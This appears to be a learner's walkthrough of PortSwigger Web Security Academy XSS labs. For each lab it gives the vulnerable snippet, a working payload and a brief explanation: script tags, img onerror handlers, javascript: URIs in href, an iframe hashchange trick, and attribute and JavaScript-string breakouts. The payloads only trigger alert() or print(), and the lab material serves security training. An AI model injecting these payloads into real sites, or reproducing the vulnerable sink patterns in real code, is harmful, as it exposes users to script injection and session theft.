Portswigger XSS Lab Part 1

Table of Contents

Reflected XSS into HTML context with nothing encoded

Solution:

<script>alert(1)</script>

Explaination:

<section class=blog-header>
<h1>0 search results for 'abc123'</h1>
<hr>|
</section>

*The vulnerable parameter here is the h1 tag as it can run scripts inside of it so when we search <script>alert(1)</script> instead of abc123 the htm code becomes

<section class=blog-header>
<h1>0 search results for '<script>alert(1)</script>'</h1>
<hr>
</section>

and it will end up executing the alert script.

Stored XSS into HTML context with nothing encoded

Solution:

<p><script>alert(1)</script></p>

Explaination:

Whatever we put in the comment section is reflected inside the <p></p> so if we just put the script inside it, <p> tag being capable of executing scripts and nothing encoded/filtered, it will execute similar to what happened with h1 tag.

DOM XSS in document.write sink using source location.search

Vulnerable parameter:

document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');

Solution:

"><img src=x onerror='alert(1)'/>

Explaination:


function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');|
if(query) {|
trackSearch(query);
}

As you can see our query is getting in the document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">'); we can break out of the <img> tag and start our own tag as it will be written inside document.write which executes html tags inside it.

DOM XSS in innerHTML sink using source location.search

Vulnerable parameter:

document.getElementById('searchMessage').innerHTML = query;

Solution:

<img src=x onerror='alert(1)'/>

Explaination:

<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>

whatever we put in the search bar, it is accepted as query and as we can see the query is getting embedded using .innerhtml and it also renders html tags, so it will cause an alert.

DOM XSS in jQuery anchor href attribute sink using location.search source

Vulnerable parameter:

`

<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});</script>

Solution:

https://0a4300c40409e0a480b1120a00010026.web-security-academy.net/feedback?returnPath=javascript:alert(1)

Explanation:

The href attribute in the anchor tag is dynamically set using the location.search query parameter, which can be controlled by an attacker. By injecting javascript:alert(1), the script is executed when the link is clicked.

DOM XSS in jQuery selector sink using a hashchange event

Vulnerable code :

                        $(window).on('hashchange', function(){
                            var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
                            if (post) post.get(0).scrollIntoView();
                        });
                    </script>

Solution:

<iframe src="https://0a10003a0435886782b60c76001b00a3.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

Explanation:

The vulnerable code is running a function which on hashchance takes what’s in the hash and adds to h2, which runs the script above when we put script as a change to another fragment.

Reflected XSS into attribute with angle brackets HTML-encoded

Vulnerable parameter:

<input type=text placeholder='Search the blog...' name=search value="abc123">

Solution:

"onmouseover="alert(1)

Explanation:

whatever we are putting in the search bar, it’s getting reflected in the above vulnerable parameter so we decided to escape by simply breaking out of it, when we put the payload in the vulnerable parameter it becomes something like

<input type=text placeholder='Search the blog...' name=search value=""onmouseover="alert(1)">

and it’ll end up alerting when we mouseover the search bar.

Stored XSS into anchor href attribute with double quotes HTML-encoded

Vulnerable parameter:

     <a id="author" href="[https://hello.com](view-source:https://hello.com/)">sairas@gmail.com</a> | 19 December 2024

Solution:

	javascript:alert(1)

Explanation:

As I’ve previously said href can take javascript like href=javascript:alert(1) and run that javascript so it’s a bad idea to put user’s input directly into href.

Reflected XSS into a JavaScript string with angle brackets HTML encoded

Vulnerable parameter:

 <script>
                        var searchTerms = 'hello123';
                        document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
                    </script>

Solution:

';-alert(1)//

Explanation:

As you can already see, we just broke out of the searchTerms variable and called alert and commented extra codes as they could cause some problems